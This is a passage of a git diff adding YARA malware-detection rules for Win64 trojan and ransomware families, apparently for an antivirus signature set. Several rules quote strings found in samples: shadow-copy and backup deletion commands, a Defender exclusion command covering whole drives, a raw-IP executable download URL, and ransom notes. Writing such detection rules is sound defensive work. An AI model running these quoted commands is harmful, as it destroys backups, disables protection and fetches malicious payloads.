05 00 01 00 00 " + + strings : + $a_03_0 = {48 8b c3 83 e0 0f 0f b6 04 08 30 04 1f 48 ff c3 49 3b de 72 ?? 4c 8d 4c 24 48 41 b8 20 00 00 00 49 8b d6 48 8b cf ff 15 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Donut/Trojan_Win64_Donut_PGD_MTB.yar b/Trojan/Win64/Donut/Trojan_Win64_Donut_PGD_MTB.yar new file mode 100644 index 0000000000..f1e75e2629 --- /dev/null +++ b/Trojan/Win64/Donut/Trojan_Win64_Donut_PGD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Donut_PGD_MTB{ + meta: + description = "Trojan:Win64/Donut.PGD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0f b6 84 04 ?? ?? ?? ?? 32 04 16 31 cf c0 ?? ?? 83 c1 ?? 41 89 f8 44 31 c0 88 04 16 48 83 c2 01 48 81 fa ?? ?? ?? ?? 75 } //5 + $a_03_1 = {0f b6 84 04 ?? ?? ?? ?? 32 04 13 31 ce c0 ?? ?? 83 c1 ?? 41 89 f0 44 31 c0 88 04 13 48 83 c2 01 48 81 fa ?? ?? ?? ?? 75 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Donut/Trojan_Win64_Donut_SLAO_MTB.yar b/Trojan/Win64/Donut/Trojan_Win64_Donut_SLAO_MTB.yar new file mode 100644 index 0000000000..771eb81221 --- /dev/null +++ b/Trojan/Win64/Donut/Trojan_Win64_Donut_SLAO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Donut_SLAO_MTB{ + meta: + description = "Trojan:Win64/Donut.SLAO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {48 83 4a f7 ff 66 c7 42 ff 00 0a 44 89 72 03 66 c7 42 2f 00 0a c6 42 31 0a 44 89 72 47 44 88 72 43 48 8b 05 21 c9 14 00 48 83 c2 58 48 8d 4a f7 48 05 00 0b 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Donut/Trojan_Win64_Donut_ZID_MTB.yar b/Trojan/Win64/Donut/Trojan_Win64_Donut_ZID_MTB.yar new file mode 100644 index 0000000000..1c45a91d69 --- /dev/null +++ b/Trojan/Win64/Donut/Trojan_Win64_Donut_ZID_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Donut_ZID_MTB{ + meta: + description = "Trojan:Win64/Donut.ZID!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {4c 2b c2 41 8b cf 41 2b c9 0f 1f 40 00 42 0f b6 04 02 30 02 48 8d 52 01 48 83 e9 01 75 ef 4d 63 c7 48 8b d7 48 8d 8c 24 ?? ?? ?? ?? e8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_BG_MTB.yar b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_BG_MTB.yar new file mode 100644 index 0000000000..8c4097fd29 --- /dev/null +++ b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_BG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DonutLoader_BG_MTB{ + meta: + description = "Trojan:Win64/DonutLoader.BG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {46 0f b6 0c 0a 45 89 c2 41 83 f2 ff 44 89 ca 44 21 d2 41 83 f1 ff 45 21 c8 44 09 c2 48 8b 00 48 8b 09 88 14 08 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_C_MTB.yar b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_C_MTB.yar new file mode 100644 index 0000000000..d4c1aed5aa --- /dev/null +++ b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_C_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DonutLoader_C_MTB{ + meta: + description = "Trojan:Win64/DonutLoader.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {43 8b 14 91 39 c2 7e ?? 41 0f b6 14 00 41 8a 3c 03 48 ff c0 01 ca 48 63 d2 40 88 3c 16 eb } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_ETL_MTB.yar b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_ETL_MTB.yar new file mode 100644 index 0000000000..ac930d18fe --- /dev/null +++ b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DonutLoader_ETL_MTB{ + meta: + description = "Trojan:Win64/DonutLoader.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 63 44 24 20 48 8d 0d 37 11 00 00 0f be 04 01 89 44 24 24 8b 44 24 20 99 83 e0 01 33 c2 2b c2 48 98 48 8b 4c 24 38 0f be 04 01 8b 4c 24 24 33 c8 8b c1 48 63 4c 24 20 48 8b 54 24 30 88 04 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_GRR_MTB.yar b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_GRR_MTB.yar new file mode 100644 index 0000000000..aab27a50dc --- /dev/null +++ b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_GRR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DonutLoader_GRR_MTB{ + meta: + description = "Trojan:Win64/DonutLoader.GRR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {44 01 c2 0f b6 d2 44 29 c2 41 89 d3 48 63 d2 44 0f b6 04 14 46 88 04 14 88 0c 14 42 02 0c 14 0f b6 c9 0f b6 14 0c 30 13 48 83 c3 01 49 39 d9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_PCO_MTB.yar b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_PCO_MTB.yar new file mode 100644 index 0000000000..3f60edba72 --- /dev/null +++ b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_PCO_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_DonutLoader_PCO_MTB{ + meta: + description = "Trojan:Win64/DonutLoader.PCO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_03_0 = {31 00 34 00 31 00 2e 00 39 00 38 00 2e 00 36 00 2e 00 31 00 34 00 3a 00 35 00 35 00 36 00 33 00 2f 00 [0-07] 2e 00 65 00 78 00 65 00 } //2 + $a_03_1 = {31 34 31 2e 39 38 2e 36 2e 31 34 3a 35 35 36 33 2f [0-07] 2e 65 78 65 } //2 + $a_81_2 = {65 78 65 63 75 74 65 50 6f 77 65 72 53 68 65 6c 6c } //1 executePowerShell + $a_81_3 = {64 6f 77 6e 6c 6f 61 64 41 6e 64 52 75 6e 46 69 6c 65 } //1 downloadAndRunFile + $a_81_4 = {63 72 65 61 74 65 52 61 6e 64 6f 6d 46 6f 6c 64 65 72 49 6e 41 70 70 44 61 74 61 4c 6f 63 61 6c } //2 createRandomFolderInAppDataLocal + $a_81_5 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 } //1 Add-MpPreference -ExclusionPath + $a_81_6 = {72 65 73 74 61 72 74 41 73 41 64 6d 69 6e } //1 restartAsAdmin + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*2+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_TL_MTB.yar b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_TL_MTB.yar new file mode 100644 index 0000000000..b814a8631c --- /dev/null +++ b/Trojan/Win64/DonutLoader/Trojan_Win64_DonutLoader_TL_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win64_DonutLoader_TL_MTB{ + meta: + description = "Trojan:Win64/DonutLoader.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 b9 04 00 00 00 41 b8 00 30 00 00 31 c9 ba 00 00 50 00 ff d0 49 89 c5 48 85 c0 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win64_DonutLoader_TL_MTB_2{ + meta: + description = "Trojan:Win64/DonutLoader.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 98 0f b6 4c 05 80 8b 85 84 00 00 00 48 63 d0 48 8b 85 a0 00 00 00 48 01 d0 44 89 c2 31 ca 88 10 83 85 84 00 00 00 01 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Dordpmal/Trojan_Win64_Dordpmal_A.yar b/Trojan/Win64/Dordpmal/Trojan_Win64_Dordpmal_A.yar new file mode 100644 index 0000000000..9bf18c4788 --- /dev/null +++ b/Trojan/Win64/Dordpmal/Trojan_Win64_Dordpmal_A.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Dordpmal_A{ + meta: + description = "Trojan:Win64/Dordpmal.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {44 8b c8 b8 1f 85 eb 51 41 f7 e9 b8 93 24 49 92 c1 fa 05 44 8b c2 41 c1 e8 1f 41 03 d0 6b d2 64 } //2 + $a_01_1 = {48 8b ce 48 83 c9 0f 48 3b cf 77 44 48 8b d5 48 8b c7 48 d1 ea 48 2b c2 48 3b e8 77 33 48 8d 04 2a } //1 + $a_01_2 = {6c 69 62 6b 73 6a 67 6f 67 32 2e 64 6c 6c } //1 libksjgog2.dll + $a_01_3 = {61 64 61 73 64 61 73 61 73 64 61 73 61 73 64 } //1 adasdasasdasasd + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Dridex/Trojan_Win64_Dridex_ADR_MTB.yar b/Trojan/Win64/Dridex/Trojan_Win64_Dridex_ADR_MTB.yar index a2eeb0835b..aacdf5a6e7 100644 --- a/Trojan/Win64/Dridex/Trojan_Win64_Dridex_ADR_MTB.yar +++ b/Trojan/Win64/Dridex/Trojan_Win64_Dridex_ADR_MTB.yar @@ -3,6 +3,17 @@ rule Trojan_Win64_Dridex_ADR_MTB{ meta: description = "Trojan:Win64/Dridex.ADR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : + $a_03_0 = {31 c0 48 8b 4c 24 40 48 81 c1 ?? ?? ?? ?? 89 44 24 4c 8a 54 24 03 80 f2 ff 4c 8b 44 24 28 88 54 24 37 8a 54 24 03 80 f2 d7 4c 8b 4c 24 20 47 8a 14 01 88 54 24 37 4c 8b 5c 24 10 47 88 14 03 66 8b 34 24 66 81 ce 07 0d 49 01 c8 } //2 + $a_01_1 = {45 6f 66 6b 69 77 65 72 65 7a 34 } //1 Eofkiwerez4 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_Win64_Dridex_ADR_MTB_2{ + meta: + description = "Trojan:Win64/Dridex.ADR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : $a_03_0 = {48 29 d1 66 44 8b 44 24 ?? 66 45 21 c0 66 44 89 84 24 ?? ?? ?? ?? 48 8b 94 24 ?? ?? ?? ?? 66 44 8b 44 24 ?? 66 41 83 f0 ff 66 44 89 84 24 ?? ?? ?? ?? 4c 8b 4c 24 } //1 $a_01_1 = {44 29 c2 44 8b 4c 24 28 89 54 24 3c 44 8a 54 24 39 66 44 8b 5c 24 22 66 44 89 5c 24 3a 41 80 f2 28 c6 44 24 4f 18 8a 5c 24 39 48 8b 44 24 18 48 83 f0 ff } //2 diff --git a/Trojan/Win64/Dridex/Trojan_Win64_Dridex_GZ_MTB.yar b/Trojan/Win64/Dridex/Trojan_Win64_Dridex_GZ_MTB.yar index e823948114..12e91d3334 100644 --- a/Trojan/Win64/Dridex/Trojan_Win64_Dridex_GZ_MTB.yar +++ b/Trojan/Win64/Dridex/Trojan_Win64_Dridex_GZ_MTB.yar @@ -1,16 +1,5 @@ rule Trojan_Win64_Dridex_GZ_MTB{ - meta: - description = "Trojan:Win64/Dridex.GZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " - - strings : - $a_02_0 = {8b c1 41 b8 08 00 00 00 a8 01 74 ?? d1 e8 35 20 83 b8 ed eb ?? d1 e8 49 83 e8 01 75 ?? 89 02 ff c1 48 83 c2 04 81 f9 00 01 00 00 7c ?? 48 85 f6 7e ?? 0f b6 0c 2f } //1 - $a_02_1 = {41 8a 0a 8d 41 9f 3c 19 77 ?? 80 c1 e0 41 88 08 84 c9 74 ?? 0f b7 43 58 41 ff c1 49 83 c2 02 49 ff c0 41 ff c3 44 3b c8 7c } //1 - condition: - ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1) >=1 - -} -rule Trojan_Win64_Dridex_GZ_MTB_2{ meta: description = "Trojan:Win64/Dridex.GZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 00 " diff --git a/Trojan/Win64/Dridex/Trojan_Win64_Dridex_PGD_MTB.yar b/Trojan/Win64/Dridex/Trojan_Win64_Dridex_PGD_MTB.yar new file mode 100644 index 0000000000..e42ed823e8 --- /dev/null +++ b/Trojan/Win64/Dridex/Trojan_Win64_Dridex_PGD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Dridex_PGD_MTB{ + meta: + description = "Trojan:Win64/Dridex.PGD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {89 44 24 64 8b 44 24 34 35 07 18 8d 5a 89 84 24 a8 00 00 00 e9 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/DriverLoader/Trojan_Win64_DriverLoader_NR_MTB.yar b/Trojan/Win64/DriverLoader/Trojan_Win64_DriverLoader_NR_MTB.yar new file mode 100644 index 0000000000..f5deeac2ac --- /dev/null +++ b/Trojan/Win64/DriverLoader/Trojan_Win64_DriverLoader_NR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_DriverLoader_NR_MTB{ + meta: + description = "Trojan:Win64/DriverLoader.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_03_0 = {88 54 24 10 88 4c 24 08 48 83 ec ?? 0f b6 05 5d b0 06 00 85 c0 74 0d } //2 + $a_01_1 = {4d 79 57 46 48 61 63 6b 5c 43 72 79 4b 69 6c 6c 65 72 5c 4e 45 57 20 42 59 50 41 53 53 5c 77 31 6e 6e 65 72 } //1 MyWFHack\CryKiller\NEW BYPASS\w1nner + $a_01_2 = {6c 69 6d 69 74 65 64 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 77 31 6e 6e 65 72 2e 70 64 62 } //1 limited\x64\Release\w1nner.pdb + $a_01_3 = {68 00 69 00 64 00 65 00 } //1 hide + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/DuckTail/Trojan_Win64_DuckTail_GTM_MTB.yar b/Trojan/Win64/DuckTail/Trojan_Win64_DuckTail_GTM_MTB.yar new file mode 100644 index 0000000000..f714f3e991 --- /dev/null +++ b/Trojan/Win64/DuckTail/Trojan_Win64_DuckTail_GTM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_DuckTail_GTM_MTB{ + meta: + description = "Trojan:Win64/DuckTail.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {20 50 00 60 0a 00 00 2e 69 64 61 ?? 61 24 35 00 00 00 00 60 ?? 50 00 38 00 00 00 2e 30 30 63 66 ?? 00 00 98 2a 50 ?? 08 00 00 00 2e 43 52 54 24 58 } //10 + $a_01_1 = {41 50 45 58 5f 4e 4f 57 41 58 5f 4c 4f 41 44 45 52 } //1 APEX_NOWAX_LOADER + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/ETWPatch/Trojan_Win64_ETWPatch_RPA_MTB.yar b/Trojan/Win64/ETWPatch/Trojan_Win64_ETWPatch_RPA_MTB.yar new file mode 100644 index 0000000000..756bccccab --- /dev/null +++ b/Trojan/Win64/ETWPatch/Trojan_Win64_ETWPatch_RPA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_ETWPatch_RPA_MTB{ + meta: + description = "Trojan:Win64/ETWPatch.RPA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //1 powershell.exe + $a_00_1 = {61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 20 00 27 00 63 00 3a 00 5c 00 27 00 2c 00 27 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 27 00 2c 00 27 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 27 00 2c 00 27 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 28 00 78 00 38 00 36 00 29 00 27 00 20 00 2d 00 66 00 6f 00 72 00 63 00 65 00 } //100 add-mppreference -exclusionpath 'c:\','c:\programdata','c:\users','c:\program files (x86)' -force + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*100) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win64/Etset/Trojan_Win64_Etset_GVA_MTB.yar b/Trojan/Win64/Etset/Trojan_Win64_Etset_GVA_MTB.yar new file mode 100644 index 0000000000..785d98b110 --- /dev/null +++ b/Trojan/Win64/Etset/Trojan_Win64_Etset_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Etset_GVA_MTB{ + meta: + description = "Trojan:Win64/Etset.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4d 89 c2 66 2d c1 60 0f b6 c0 31 4d e4 29 55 e4 48 33 45 d2 48 ff 04 24 48 83 3c 24 07 7e } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ExfilSkip/Trojan_Win64_ExfilSkip_A.yar b/Trojan/Win64/ExfilSkip/Trojan_Win64_ExfilSkip_A.yar new file mode 100644 index 0000000000..e0b554d63c --- /dev/null +++ b/Trojan/Win64/ExfilSkip/Trojan_Win64_ExfilSkip_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_ExfilSkip_A{ + meta: + description = "Trojan:Win64/ExfilSkip.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {75 73 65 72 6e 61 6d 65 40 68 ?? 73 74 20 73 6f 75 72 63 65 5f 64 69 72 20 72 65 6d 6f 74 65 5f 70 61 74 68 } //1 + $a_01_1 = {46 6f 75 6e 64 20 25 64 20 66 69 6c 65 73 20 74 6f 74 61 6c 69 6e 67 20 25 2e 32 66 20 4d 42 20 28 73 6b 69 70 70 65 64 20 25 64 20 66 69 6c 65 73 2c } //1 Found %d files totaling %.2f MB (skipped %d files, + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/FaceLight/Trojan_Win64_FaceLight_B_dha.yar b/Trojan/Win64/FaceLight/Trojan_Win64_FaceLight_B_dha.yar index 1f917227d7..614e0da2b7 100644 --- a/Trojan/Win64/FaceLight/Trojan_Win64_FaceLight_B_dha.yar +++ b/Trojan/Win64/FaceLight/Trojan_Win64_FaceLight_B_dha.yar @@ -5,7 +5,7 @@ rule Trojan_Win64_FaceLight_B_dha{ strings : $a_40_0 = {c9 ba 00 00 a0 00 41 b8 00 10 00 00 44 8d 49 04 48 89 05 } //5 - $a_33_1 = {41 b8 00 00 a0 00 48 8b c8 48 8b f8 e8 00 00 5d 04 00 00 f7 d8 06 80 5c 28 00 00 f8 d8 06 80 00 00 01 00 08 00 12 00 ac 21 47 75 4c 6f 61 64 65 72 2e 52 53 42 21 4d 54 42 00 00 05 40 05 82 70 } //3840 + $a_33_1 = {41 b8 00 00 a0 00 48 8b c8 48 8b f8 e8 00 00 5d 04 00 00 f7 d8 06 80 5c 28 00 00 f8 d8 06 80 00 00 01 00 08 00 12 00 ac 21 47 75 4c 6f 61 64 65 72 2e 52 53 42 21 4d 54 42 00 00 03 40 05 82 70 } //3840 condition: ((#a_40_0 & 1)*5+(#a_33_1 & 1)*3840) >=10 diff --git a/Trojan/Win64/Farfli/Trojan_Win64_Farfli_ADC_MTB.yar b/Trojan/Win64/Farfli/Trojan_Win64_Farfli_ADC_MTB.yar new file mode 100644 index 0000000000..0556938fe0 --- /dev/null +++ b/Trojan/Win64/Farfli/Trojan_Win64_Farfli_ADC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Farfli_ADC_MTB{ + meta: + description = "Trojan:Win64/Farfli.ADC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {2b ca 41 f7 e2 80 c1 36 43 30 0c 03 c1 ea 03 8d 0c 92 03 c9 44 3b d1 4d 0f 44 cf 41 ff c2 49 ff c3 44 3b d7 7c } //4 + $a_01_1 = {41 0f b6 0c 29 4c 8b 43 10 49 ff c1 } //1 + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Farfli/Trojan_Win64_Farfli_SXA_MTB.yar b/Trojan/Win64/Farfli/Trojan_Win64_Farfli_SXA_MTB.yar new file mode 100644 index 0000000000..877a54eaa9 --- /dev/null +++ b/Trojan/Win64/Farfli/Trojan_Win64_Farfli_SXA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Farfli_SXA_MTB{ + meta: + description = "Trojan:Win64/Farfli.SXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {45 8b e7 4d 8b ef 45 85 db 7e 1d 4c 8b d5 41 0f b7 02 66 43 39 04 10 75 0f 4c 03 ea 44 03 e2 49 83 c2 02 4d 3b eb 7c e6 45 3b e3 74 0d 03 ca 49 83 c0 02 41 3b c9 7e c8 } //3 + $a_01_1 = {41 0f b7 00 0f b7 0a 66 89 02 66 41 89 08 49 83 e8 02 48 83 c2 02 49 ff c9 75 e5 } //2 + $a_80_2 = {64 33 33 66 33 35 31 61 34 61 65 65 61 35 65 36 30 38 38 35 33 64 31 61 35 36 36 36 31 30 35 39 } //d33f351a4aeea5e608853d1a56661059 1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_80_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/FatalRAT/Trojan_Win64_FatalRAT_GZZ_MTB.yar b/Trojan/Win64/FatalRAT/Trojan_Win64_FatalRAT_GZZ_MTB.yar new file mode 100644 index 0000000000..5f57faa421 --- /dev/null +++ b/Trojan/Win64/FatalRAT/Trojan_Win64_FatalRAT_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_FatalRAT_GZZ_MTB{ + meta: + description = "Trojan:Win64/FatalRAT.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {ff d3 c7 44 24 24 00 00 00 00 31 d2 89 d0 41 89 d0 8b 4c 24 24 41 c1 f8 02 83 e0 3f 41 0f af c0 44 6b c2 0d ff c2 44 31 c0 01 c8 81 fa f4 01 00 00 89 44 24 24 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Filecoder/Trojan_Win64_FileCoder_NF_MTB.yar b/Trojan/Win64/Filecoder/Trojan_Win64_FileCoder_NF_MTB.yar index 2479778f14..98dca60cc7 100644 --- a/Trojan/Win64/Filecoder/Trojan_Win64_FileCoder_NF_MTB.yar +++ b/Trojan/Win64/Filecoder/Trojan_Win64_FileCoder_NF_MTB.yar @@ -19,4 +19,38 @@ rule Trojan_Win64_FileCoder_NF_MTB_2{ condition: ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 +} +rule Trojan_Win64_FileCoder_NF_MTB_3{ + meta: + description = "Trojan:Win64/FileCoder.NF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 00 " + + strings : + $a_01_0 = {46 69 6c 65 20 65 6e 63 72 79 70 74 65 64 20 61 6e 64 20 6f 72 69 67 69 6e 61 6c 20 64 65 6c 65 74 65 64 } //2 File encrypted and original deleted + $a_01_1 = {45 72 72 6f 72 20 65 6e 63 72 79 70 74 69 6e 67 20 66 69 6c 65 } //1 Error encrypting file + $a_01_2 = {53 65 6e 64 20 58 20 42 69 74 63 6f 69 6e 20 74 6f 20 61 64 64 72 65 73 73 20 59 20 74 6f 20 74 68 65 6f 72 65 74 69 63 61 6c 6c 79 20 64 65 63 72 79 70 74 20 74 68 65 6d } //2 Send X Bitcoin to address Y to theoretically decrypt them + $a_01_3 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 74 68 65 6f 72 65 74 69 63 61 6c 6c 79 20 65 6e 63 72 79 70 74 65 64 } //1 Your files have been theoretically encrypted + $a_01_4 = {53 74 61 72 74 69 6e 67 20 74 68 65 6f 72 65 74 69 63 61 6c 20 65 6e 63 72 79 70 74 69 6f 6e 20 6f 66 20 64 69 72 65 63 74 6f 72 79 3a } //1 Starting theoretical encryption of directory: + $a_01_5 = {54 48 45 4f 52 45 54 49 43 41 4c 20 52 41 4e 53 4f 4d 20 4e 4f 54 45 } //2 THEORETICAL RANSOM NOTE + $a_01_6 = {47 65 6e 65 72 61 74 65 64 20 4b 65 79 } //1 Generated Key + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1) >=10 + +} +rule Trojan_Win64_FileCoder_NF_MTB_4{ + meta: + description = "Trojan:Win64/FileCoder.NF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 00 " + + strings : + $a_01_0 = {52 61 6e 73 6f 6d 77 61 72 65 57 69 6e 64 6f 77 43 6c 61 73 73 } //2 RansomwareWindowClass + $a_01_1 = {63 6d 64 20 2f 63 20 72 65 67 20 64 65 6c 65 74 65 20 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 43 6c 61 73 73 65 73 5c 6d 73 2d 73 65 74 74 69 6e 67 73 20 2f 66 } //1 cmd /c reg delete HKCU\Software\Classes\ms-settings /f + $a_01_2 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //1 vssadmin delete shadows /all /quiet + $a_01_3 = {77 62 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 } //1 wbadmin delete catalog -quiet + $a_01_4 = {59 6f 75 72 20 50 43 20 69 73 20 45 6e 63 72 79 70 74 65 64 } //1 Your PC is Encrypted + $a_01_5 = {6c 6f 6c 2c 20 6d 61 64 64 6f 78 } //1 lol, maddox + $a_01_6 = {6c 65 74 73 20 73 69 74 20 64 6f 77 6e 20 61 73 20 79 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 20 61 6e 64 20 74 68 65 6e 20 64 65 6c 65 74 65 64 } //1 lets sit down as your files are encrypted and then deleted + $a_01_7 = {64 6f 6e 27 74 20 74 72 79 20 74 6f 20 72 65 73 65 74 2c 20 79 6f 75 72 20 70 63 20 69 73 20 61 6c 72 